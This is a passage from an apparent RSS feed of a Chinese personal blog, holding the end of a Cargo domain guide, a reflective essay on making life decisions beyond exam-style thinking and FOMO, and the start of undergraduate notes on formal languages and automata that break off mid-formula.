<p>在 Buy a domain 直接搜索你想要的域名，如果没有被购买，付款之后就 OK 了。不过相比上面在 Dynadot 购买，这个地方会贵得多，比如同样的 com 域名 Cargo 会是 14 刀一年，而 dynadot 大概是这个的一半。</p>
<hr>
<h3 id="references"><a href="#references">References</a></h3>
<ul>
<li><a href="https://support.cargo.site/Using-a-Third-Party-Domain">https://support.cargo.site/Using-a-Third-Party-Domain</a></li>
<li><a href="https://support.cargo.site/">https://support.cargo.site/</a></li>
</ul>]]></description>
            <link>https://jtchen.io/blog/cargo-guide</link>
            <guid isPermaLink="false">cargo-guide</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Sat, 07 Aug 2021 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[站在盒子外面思考]]></title>
            <description><![CDATA[<p>Think out of the box，站在盒子外面思考。转眼一看已经半年没有写博客了，一是因为实习了之后空闲的时间越来越少，二来也是因为像是在往绝望之谷滑行，我也不确定写的这些东西能不能叫正确，于是很多博客草草开头又不了了之。老实说来，半年过得并不轻松，和我在二十岁生日预料的一样，处在人生的十字路口，面对各种不确定的机会时难免不知所措。但当和同龄人交流来共谋解决方案时，却发现这种焦虑广泛地存在于同龄人中。于是决定记录一下我在做决策的思考逻辑，希望能给到处于混沌状态的同龄人一些灵感。</p>
<h3 id="生活不是考试没有标准答案"><a href="#生活不是考试没有标准答案">生活不是考试，没有标准答案</a></h3>
<p>或许是过去的应试教育让我们习惯于为自己设立一个可以量化的目标，阶段性地为这个目标付出努力，然后从目标的实现取得成就感。至少在高考之前，我们都过着这样的生活，一个学期就是这样的一个周期，无论在周期的过程中做了什么事情，始终有一条主线规划周期内这几个月的节奏。会有月考，期中考，期末考，在考试前更加认真，在考试后偶尔放纵。努力很容易得到反馈，对自己的规划也有一条十分明晰的主线，于是生活节奏有条不紊。</p>
<p>对于大多数能够到一个好大学就读的学生而言，考试能力一定不会太差，不仅擅长从这种周期性的工作中寻找技巧，还往往很享受在考试中取得好成绩的快感。然而已经到了本科的高年级，生活早已没有被周期划分开来，考试也完全不再是某一个阶段的生活的评价标准。遗憾的是，很多人仍然把生活当成考试，用应试的方式延续着过去那种周期性的生活状态。学习的目的是解决问题，而如果奖状、比赛名次和论文数量变成了学习的唯一动力，那我更愿意把这种为了别人的赞许和反馈的努力方式称为自我感动。因为生活不是考试，生活不会给自己发奖状。生活也没有标准答案，所以我们也没有必要像考试一样为自己的生活打上分数，评个高下，甚至沾沾自喜。</p>
<p>多年的努力应试给成绩还不错的学生留下了一股认真劲，这是最大的优点也是最可怕的缺点。用力得当，可以认识到自己喜欢做与擅长做的事情，然后在这些方向上发挥出认真的力量。但如果用力过猛，便会把精力浪费在一些没必要去做的事情上。一些没必要太认真学的课，一些没必要去争夺的奖，一些其实自己完全不感兴趣的事务。一般来讲，不感兴趣的事情是做不长久的，但有着这认真劲的人却可以忍受着自己的抗拒情绪去一直做这些事情，从而一直处在压抑的状态，走不出来。这很可怕，我身边就有不少这样的例子。</p>
<p>所以我觉得比较好的状态是不要像备战考试一样把生活划分成一个个科目，一个个单元，并抱有「做了 A 就一定能能收获 B」的心态去做决定。而是从问题出发，思考我的生活现在有什么需要解决的问题？我应该做些什么有助于解决这些问题？我现在做的事情有助于解决问题吗？以及最重要的，自己有没有真正的进步。这样一想，也许会发现很多忙碌都没有必要。</p>
<p>或许当事人并没有故意把自己的决策当做一场考试，但十多年的应试经验还是会悄悄地左右着自己。我们都应试过，也都虚荣过，在这里稍带一提，也当是警醒自己做事时一定不要单纯为了来自外界的正向反馈而努力。</p>
<h3 id="不要得上了-fomo"><a href="#不要得上了-fomo">不要得上了 FOMO</a></h3>
<p>FOMO（Fear of Missing Out）在维基百科里的翻译是错失恐惧症，也称社群恐慌症。指「一种由患得患失所产生持续性的焦虑，得上这种症的人总会感到别人在自己不在时经历了什么非常有意义的事情」。在我的印象中，有着 FOMO 的朋友并不算少数，自己在很多时候也会陷入 FOMO 的困扰。</p>
<p>关于这一点，我觉得可以从反过来的角度思考：如果大家都在做一件我没有在做的事情，那这件事真的合理吗？其实可以走的路常常比我们想象的要多，我们也不一定要去做那些所有人都要做的事情，因为那些太多人做的事情往往都被打上了内卷的标签，多一个人趋之若鹜，并不会让这写路变得更明朗。同样，跟着自己的措施恐惧症走大多数时候并不能够发挥自己的优势 —— 除非这些路刚好碰上了自己的长处，但这种情况的确少见。</p>
<p>另一个方面，关于我们的信息来源，我们应当有自己的获取信息的途径与渠道。FOMO 很多时候来自社交媒体，无论是自己的朋友还是在公开网络上关注的网友。我们现在最不缺少的东西也许就是信息了，但大多数信息对我们而言并没有实质上的帮助，只是占据掉了我们思考的精力和宝贵的时间。有目的地查找信息、筛选信息的能力在推荐系统占据了所有平台之时显得尤其重要。因为推荐系统的所有目的都是为了让用户的眼睛能够多停留在这个平台上一些，从而见缝插针地植入更多的广告，而不是提供真正正确、有效、有价值的信息。这就导致他们会想法设法地引起用户的 FOMO，我们要躲开这种陷阱，避免被动地接受信息。</p>
<p>我们并不需要知道每一个人在干什么，或者说我们并不需要把太多的时间花在观察别人的生活当中。延伸出来的，我觉得我们也不用把太多时间花在修饰展示生活的每一个细节。这真的很花时间，而且于自己于他人的确没有太大益处，这可能是在用别人的 FOMO 来缓解自己的 FOMO。</p>
<h3 id="放弃确定性拥抱不确定"><a href="#放弃确定性拥抱不确定">放弃确定性，拥抱不确定</a></h3>
<p>生活总是充满不确定性的。我们要放弃确定的执着追求，去允许自己的生活出现许多随机扰动。在当下，我们都会选择看起来最靠谱的餐厅，选择看起来最有意思的旅行目的地，选择看起来最有价值的课程，选择看起来最好的工作。我们很难说服当下的自己去做出那个次好的选择，以前如此，现在还是如此。这样做决策的问题在于很多决定在当下没有那个必然最优的选项，如果我们总是想要去决定哪种做法才是各个方面上看都是最优的决策，往往会陷入犹豫与迷茫的深渊。自己喜欢的，很可能是和社会的期待相冲突的。物质上富足的，很可能是在精神上贫瘠的。即便是同时满足了大多数方面的「最优」，如果我们思考地足够细致，也总能找到这个决策的各种缺陷。回首过去做出的决定，那些用贪心做出的决定，我们真的能说，那就是最好的决策吗？</p>
<p>至少对我而言，未必。但也正是这些决策构成了此时此刻的自己，现在的生活不算完美，也没有太糟糕。机器学习中的随机波动往往会取得更好的预测效果，生活中的不确定性或许也能产出不一样的日常。那些印象深刻的日子，往往都是意料之外的。而在我们的期望范围之外，往往也有着更加有趣的生活。我在尝试让自己接受没有最好的决定的事实，也在尝试让自己在面对各种各样的不确定时能更加坦然 —— 既然没有最优解，也无法预知未来，那么只要决策看起来是大体是靠谱的，那也便义无反顾了。</p>
<p>放弃确定性，去容忍自己在没有思考得足够细致的情况下，拥抱不确定性。生活像是在雾中前行，踏出去了才知道下一步是怎样。如果一直因为不确定而持续摇摆不定，很可能会错失掉机会，或者在机会到来时，由于将精力耗在了决策上，而使得此刻的自己没有做好迎接机会的准备。</p>
<h3 id="自洽"><a href="#自洽">自洽</a></h3>
<p>这是关于焦虑的又一个来源，也就是贪婪。和朋友聊天时，我常常问他们这样一个问题：有两个年轻人，A 在一线城市长大，接受了顶级的教育，读者世界 top10 的大学。多年的留学经历让他有着闪着光的学历和工作经历。 B 可能会被调侃成所谓的小镇做题家，考了个还行的大学，读了个还行的专业，没有什么过人的天赋，后来成绩平平，找了个普通的工作，或者读了个普普通通的硕博。你会想要哪种人生？</p>
<p>几乎没有悬念的，A 光彩照人的生活会是大多数人的选择。然而如果给他们再加上一个限定条件，A 确诊了骨癌，他只有几个月生命了；而 B 很健康，他看起来至少还有六七十年的时光。你会选择哪一个？</p>
<p>人难免会忽视掉自己拥有的所有，然后去追寻更大更远的未来。但如果你正在读这篇文章，其实你可能早已经拥有了许多因为和你不在一个社交圈，早已被排除在了你的社交圈之外的人十分渴求的生活状态了。他们和你可能早在小升初的那一刻就分道扬镳，甚至在出生的那一刻就决定了。 —— 当然同样的，你也会无法拥有许多另一批人早已拥有的世界。对于我们这一代人而言，我们自然会从自我价值实现、收入、理想生活的状态等种种角度去做选择，绝不会满足于基本的生理需求，然而在这片大陆上，几十年之前还蔓延着饥荒。从这种角度看，我们的焦虑未尝不是一种贪婪。当然这很自然，正是贪婪促进我们进步。但是看不见自己拥有的东西，只关注与自己暂时无法达到的目标，会陷入自责之中，而错过让自己接近目标的成长的时间。</p>
<p>开完笑地说，一本叫做《及格家宣言》的书里提到：</p>
<blockquote>
<p>亚里士多德曾经说过，受过教育的人的标志就是他不会在一件事上追求超出这件事所能达到的准确度。平庸的意思不是什么都不干，而是在正确的时间、正确的地点做正确的努力。</p>
</blockquote>
<p>这本短小精悍的书开玩笑般地点出了被焦虑环绕的人总是无法和自己自洽的许多原因。这句玩笑或许就是自洽的哲学 —— 学不会满足，便也学不会奋斗。「在正确的时间、正确的地点做正确的努力」，和过去的自己自洽，和自己的能力自洽。</p>
<hr>
<p>最近在杭州的天目里看到了这样一段话，感觉写的很棒：</p>
<blockquote>
<p>我们都曾以为理想的生活应该在别处，拖着被掏空的身体还要无休止地奔忙。但其实生活是否美好，或许只在于偶尔放空自己，与两点一线的城市生活大胆说声再见，去奔赴一场野蛮又浩荡的自由之旅。看看花，看看树，看看水，看看山，看看春天，然后你就会发现有些东西没有那么重要。</p>
</blockquote>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2021-05-05-MrhRpC.jpeg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2021-05-05-MrhRpC.jpeg" alt="2021-05-05-MrhRpC" loading="lazy" data-wrapped="true"></a></p>
<!-- 当然，写来这篇博客也不是鼓励我们就此「躺平」，和现在的生活大胆说再见。但 -->
<p>「未经思考的人生是不值得过的」，但一直在思考的人生同样不值得过。我们不应一直在痛苦和犹豫中前进，因为害怕走错而在紧张中度过每一天。有时候也应当容忍自己在没有彻底想清楚之前先走一步，不惧失败，脚踏实地，体验成功与失败，享受不仅是前进 —— 还有跌落的快感。</p>
<h3 id="附录"><a href="#附录">附录</a></h3>
<p><a href="https://hawstein.com/2019/04/24/life-cannot-dp-but-dont-be-always-greedy/">Hawstein - 人生不可 DP，但别永远贪心</a></p>
<p><a href="https://wild-flame.github.io/blog/beyond-death/">生死之余，不过小事</a></p>
<p><a href="https://wild-flame.github.io/blog/to-myfriends/">给大学的同学们-关于选择与体验，人生目标与梦想</a></p>
<p><a href="https://m.douban.com/book/subject/1041616/">许知远 - 《那些忧伤的年轻人》</a></p>]]></description>
            <link>https://jtchen.io/blog/out-of-the-box</link>
            <guid isPermaLink="false">out-of-the-box</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Fri, 09 Apr 2021 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[形式语言与自动机：大纲与摘要]]></title>
            <description><![CDATA[<blockquote>
<p>这一系列（共 4 部分）为整理后的形式化语言与自动机的本科课程笔记，可作为知识提纲。</p>
</blockquote>
<hr>
<h3 id="目录"><a href="#目录">目录</a></h3>
<ul>
<li><a href="#i%E6%A6%82%E5%BF%B5%E6%8E%A8%E7%90%86%E4%B8%8E%E6%96%87%E6%B3%95">I：概念，推理与文法</a>
<ul>
<li><a href="#%E8%B0%93%E8%AF%8D%E9%80%BB%E8%BE%91%E4%B8%8E%E9%9B%86%E5%90%88%E5%85%B3%E7%B3%BB">谓词逻辑与集合关系</a></li>
<li><a href="#%E5%AD%97%E6%AF%8D%E8%A1%A8%E5%9B%BE%E4%B8%8E%E8%AF%AD%E8%A8%80">字母表、图与语言</a></li>
<li><a href="#%E9%80%BB%E8%BE%91%E8%AF%AD%E8%A8%80%E4%B8%8E%E6%BC%94%E7%BB%8E%E6%8E%A8%E7%90%86">逻辑语言与演绎推理</a></li>
<li><a href="#%E6%96%87%E6%B3%95">文法</a>
<ul>
<li><a href="#%E6%A6%82%E5%BF%B5">概念</a></li>
<li><a href="#%E6%96%87%E6%B3%95%E5%88%86%E7%B1%BB%E7%9A%84%E4%B9%94%E5%A7%86%E6%96%AF%E5%9F%BA%E4%BD%93%E7%B3%BB">文法分类的乔姆斯基体系</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#ii-%E6%9C%89%E7%A9%B7%E8%87%AA%E5%8A%A8%E6%9C%BA%E4%B8%8E%E6%AD%A3%E5%88%99%E8%AF%AD%E8%A8%80">II: 有穷自动机与正则语言</a>
<ul>
<li><a href="#%E6%9C%89%E7%A9%B7%E8%87%AA%E5%8A%A8%E6%9C%BA-finite-automation">有穷自动机 Finite Automation</a>
<ul>
<li><a href="#%E5%AE%9A%E4%B9%89">定义</a></li>
<li><a href="#instant-description-%E7%9E%AC%E6%97%B6%E6%8F%8F%E8%BF%B0">Instant Description 瞬时描述</a></li>
<li><a href="#%E7%A1%AE%E5%AE%9A%E6%9C%89%E7%A9%B7%E7%8A%B6%E6%80%81%E8%87%AA%E5%8A%A8%E6%9C%BA-deterministic-finite-automaton-dfa">确定有穷状态自动机 Deterministic Finite Automaton, DFA</a></li>
<li><a href="#%E9%9D%9E%E7%A1%AE%E5%AE%9A%E6%9C%89%E7%A9%B7%E7%8A%B6%E6%80%81%E8%87%AA%E5%8A%A8%E6%9C%BA-nondeterministic-finite-automaton-nfa">非确定有穷状态自动机 Nondeterministic Finite Automaton, NFA</a></li>
<li><a href="#%E7%A9%BA%E8%BF%81%E7%A7%BB">空迁移</a></li>
</ul>
</li>
<li><a href="#%E6%AD%A3%E5%88%99%E8%AF%AD%E8%A8%80--%E8%A1%A8%E8%BE%BE%E5%BC%8F">正则语言 / 表达式</a>
<ul>
<li><a href="#%EF%B8%8F-%E6%AD%A3%E5%88%99%E8%AF%AD%E8%A8%80%E7%9A%84%E8%AF%81%E6%98%8E%E6%B3%B5%E5%BC%95%E7%90%86-pumping-lemma"><strong>⭐️ 正则语言的证明：泵引理</strong> Pumping Lemma</a></li>
<li><a href="#%E6%AD%A3%E5%88%99%E8%AF%AD%E8%A8%80%E7%9A%84%E5%B0%81%E9%97%AD%E6%80%A7">正则语言的封闭性</a></li>
</ul>
</li>
<li><a href="#%E8%87%AA%E5%8A%A8%E6%9C%BA%E7%9A%84%E8%BD%AC%E6%8D%A2">自动机的转换</a>
<ul>
<li><a href="#nfa---dfa-%E5%8F%8A%E7%AD%89%E4%BB%B7%E6%80%A7">NFA -> DFA 及等价性</a></li>
<li><a href="#fa---re-%E7%9A%84%E8%BD%AC%E6%8D%A2">FA -> RE 的转换</a></li>
<li><a href="#re---fa">RE -> FA</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#iii-%E4%B8%8A%E4%B8%8B%E6%96%87%E6%97%A0%E5%85%B3%E6%96%87%E6%B3%95%E4%B8%8E%E4%B8%8B%E6%8E%A8%E8%87%AA%E5%8A%A8%E6%9C%BA">III: 上下文无关文法与下推自动机</a>
<ul>
<li><a href="#%E4%B8%8A%E4%B8%8B%E6%96%87%E6%97%A0%E5%85%B3%E6%96%87%E6%B3%95-cfg">上下文无关文法 CFG</a>
<ul>
<li><a href="#%E6%B4%BE%E7%94%9F%E6%96%B9%E5%BC%8F%E4%B8%8E%E4%BA%8C%E4%B9%89%E6%80%A7">派生方式与二义性</a></li>
<li><a href="#cfg-%E7%9A%84%E5%8C%96%E7%AE%80">CFG 的化简</a></li>
<li><a href="#%E8%8C%83%E5%BC%8F">范式</a></li>
<li><a href="#cfl-%E7%9A%84%E6%B3%B5%E5%BC%95%E7%90%86">CFL 的泵引理</a></li>
</ul>
</li>
<li><a href="#%E4%B8%8B%E6%8E%A8%E8%87%AA%E5%8A%A8%E6%9C%BA-push-down-automaton-pda">下推自动机 Push Down Automaton PDA</a>
<ul>
<li><a href="#pda-%E5%8D%B3%E6%97%B6%E6%8F%8F%E8%BF%B0-instantaneous-description">PDA 即时描述 Instantaneous Description</a></li>
<li><a href="#pda-%E6%8E%A5%E5%8F%97%E7%9A%84%E8%AF%AD%E8%A8%80">PDA 接受的语言</a></li>
</ul>
</li>
<li><a href="#cfg-%E4%B8%8E-pda-%E7%9A%84%E7%AD%89%E4%BB%B7%E6%80%A7">CFG 与 PDA 的等价性</a></li>
</ul>
</li>
<li><a href="#iv-%E5%9B%BE%E7%81%B5%E6%9C%BA%E4%B8%8E%E5%8F%AF%E8%AE%A1%E7%AE%97%E5%9E%8B">IV: 图灵机与可计算型</a>
<ul>
<li><a href="#%E5%9B%BE%E7%81%B5%E6%9C%BA-turing-machine">图灵机 Turing Machine</a>
<ul>
<li><a href="#tm-%E5%8D%B3%E6%97%B6%E6%8F%8F%E8%BF%B0-instantaneous-description">TM 即时描述 Instantaneous Description</a></li>
<li><a href="#tm-%E4%BD%9C%E4%B8%BA%E9%9D%9E%E8%B4%9F%E6%95%B4%E5%87%BD%E6%95%B0%E7%9A%84%E8%AE%A1%E7%AE%97%E6%A8%A1%E5%9E%8B">TM 作为非负整函数的计算模型</a></li>
<li><a href="#%E6%9E%84%E9%80%A0%E6%96%B9%E5%BC%8F">构造方式</a></li>
<li><a href="#tm-%E6%8B%93%E5%B1%95%E5%8F%8A%E5%8F%98%E5%9E%8B">TM 拓展及变型</a></li>
</ul>
</li>
<li><a href="#%E5%8F%AF%E8%AE%A1%E7%AE%97%E6%80%A7-computability">可计算性 Computability</a>
<ul>
<li><a href="#np-%E4%B8%8E-p">NP 与 P</a></li>
</ul>
</li>
</ul>
</li>
</ul>
<h1 id="i概念推理与文法"><a href="#i概念推理与文法">I：概念，推理与文法</a></h1>
<p>核心问题：哪些问题可以通过计算解决（可计算型理论）</p>
<p>自动机理论：研究抽象机器所能解决问题的理论（图灵机：核心理论模型；以及有限状态机、文法、下推自动机等）</p>
<h2 id="谓词逻辑与集合关系"><a href="#谓词逻辑与集合关系">谓词逻辑与集合关系</a></h2>
<ul>
<li>
<p>n 元关系是定义在某域上的一组 n 元组的集合</p>
</li>
<li>
<p>集合 A 和 B 的二元关系 R 是 A×B 的子集；二元关系可写作 xRy</p>
</li>
<li>
<p>dom (R) 和 ran (R) 分别表示关系 R 的定义域和值域</p>
</li>
</ul>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-azYbAL.png" alt="image-20200902103702649" style="zoom:25%;" />
<ul>
<li>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo>⊆</mo><mi>S</mi><mo>×</mo><mi>S</mi></mrow><annotation encoding="application/x-tex">R \subseteq S\times S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊆</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 几种特殊的关系：
<ul>
<li>偏序关系：自反，反对称，传递 Eg. 自然数集合 N 和小于等于关系≤构成的偏序集</li>
<li>等价关系：自反，对称，传递 -> 等价类：由等价关系确定的一组集合，每个集合中的任意元素都相互等价
<ul>
<li>等价关系的秩：等价类的个数</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="字母表图与语言"><a href="#字母表图与语言">字母表、图与语言</a></h2>
<ul>
<li>字母表是语言中出现的原子符号，通常用 Σ 表示</li>
<li>字符串是字母表中元素的序列，长度必须为有限的，长度、连接等操作在定义上都为递归
<ul>
<li>长度：递归定义 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>w</mi><mi mathvariant="normal">∣</mi><mo>=</mo><mn>0</mn><mo separator="true">,</mo><mi>w</mi><mo>=</mo><mi>ε</mi><mo separator="true">;</mo><mi mathvariant="normal">∣</mi><mi>x</mi><mi mathvariant="normal">∣</mi><mo>+</mo><mn>1</mn><mo separator="true">,</mo><mi>w</mi><mo>=</mo><mi>x</mi><mi>a</mi></mrow><annotation encoding="application/x-tex">|w| = 0, w = \varepsilon; |x| + 1, w = xa</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord mathnormal">x</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal">a</span></span></span></span></li>
</ul>
</li>
<li>字符串运算：联结运算 abc.def、重复运算 (abc)*
<ul>
<li>和集合有关的运算：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>⋅</mo><mi>B</mi><mo>=</mo><mrow><mi>w</mi><mi mathvariant="normal">∣</mi><mi>w</mi><mo>=</mo><mi>x</mi><mo>⋅</mo><mi>y</mi><mo separator="true">,</mo><mi>x</mi><mo>∈</mo><mi>A</mi><mo separator="true">,</mo><mi>y</mi><mo>∈</mo><mi>B</mi></mrow></mrow><annotation encoding="application/x-tex">A \cdot B = {w | w = x \cdot y, x\in A, y \in B}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span></span>
<ul>
<li>若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex">\Sigma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span> 为字母表，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi mathvariant="normal">Σ</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">\Sigma^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>  为长度为 n 的字符串集合</li>
</ul>
</li>
<li>正闭包、克林闭包</li>
</ul>
</li>
<li>语言：一系列特殊字符串的集合：L⊆Σ^∗</li>
<li>图：系统描述方式
<ul>
<li>标签集合 D，标签函数 L:S∪T→D</li>
<li>带标签的图可以表示为一个 4 元组 (S,T,D,L)</li>
<li>树是一种特殊的有向无环图</li>
</ul>
</li>
<li>迁移系统：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mi>S</mi><mo>=</mo><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi mathvariant="normal">Σ</mi><mo separator="true">,</mo><mo>→</mo><mo separator="true">,</mo><msub><mi>S</mi><mn>0</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">TS = (s, \Sigma,\rightarrow,S_0)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">TS</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Σ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></li>
<li><strong>给定字符串是否属于某个具体语言 L？</strong> 任何问题都可以转换成语言问题 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi><mo>∈</mo><mi>L</mi><mo stretchy="false">?</mo></mrow><annotation encoding="application/x-tex">w \in L?</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">L</span><span class="mclose">?</span></span></span></span>
<ul>
<li>（可判定问题与不可判定问题）</li>
</ul>
</li>
</ul>
<h2 id="逻辑语言与演绎推理"><a href="#逻辑语言与演绎推理">逻辑语言与演绎推理</a></h2>
<ul>
<li>
<p>证明：演绎法、归纳法与反证法</p>
</li>
<li>
<p>命题逻辑</p>
<ul>
<li>一种可以判定真或假的命题描述语言</li>
<li>由原子命题和连接算子构成</li>
</ul>
</li>
<li>
<p>谓词逻辑：比命题逻辑描述能力更强的逻辑语言，增加了变量取值</p>
<ul>
<li>组成：Variable, Functions &#x26; (Predicate symbols, equality, logical connectives, quantifiers)</li>
<li>公式 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">\phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ϕ</span></span></span></span> 在一个给定的结构 M 和赋值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">\phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ϕ</span></span></span></span> 下成立，记为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo separator="true">,</mo><mi>σ</mi><mo>⊨</mo><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">M, 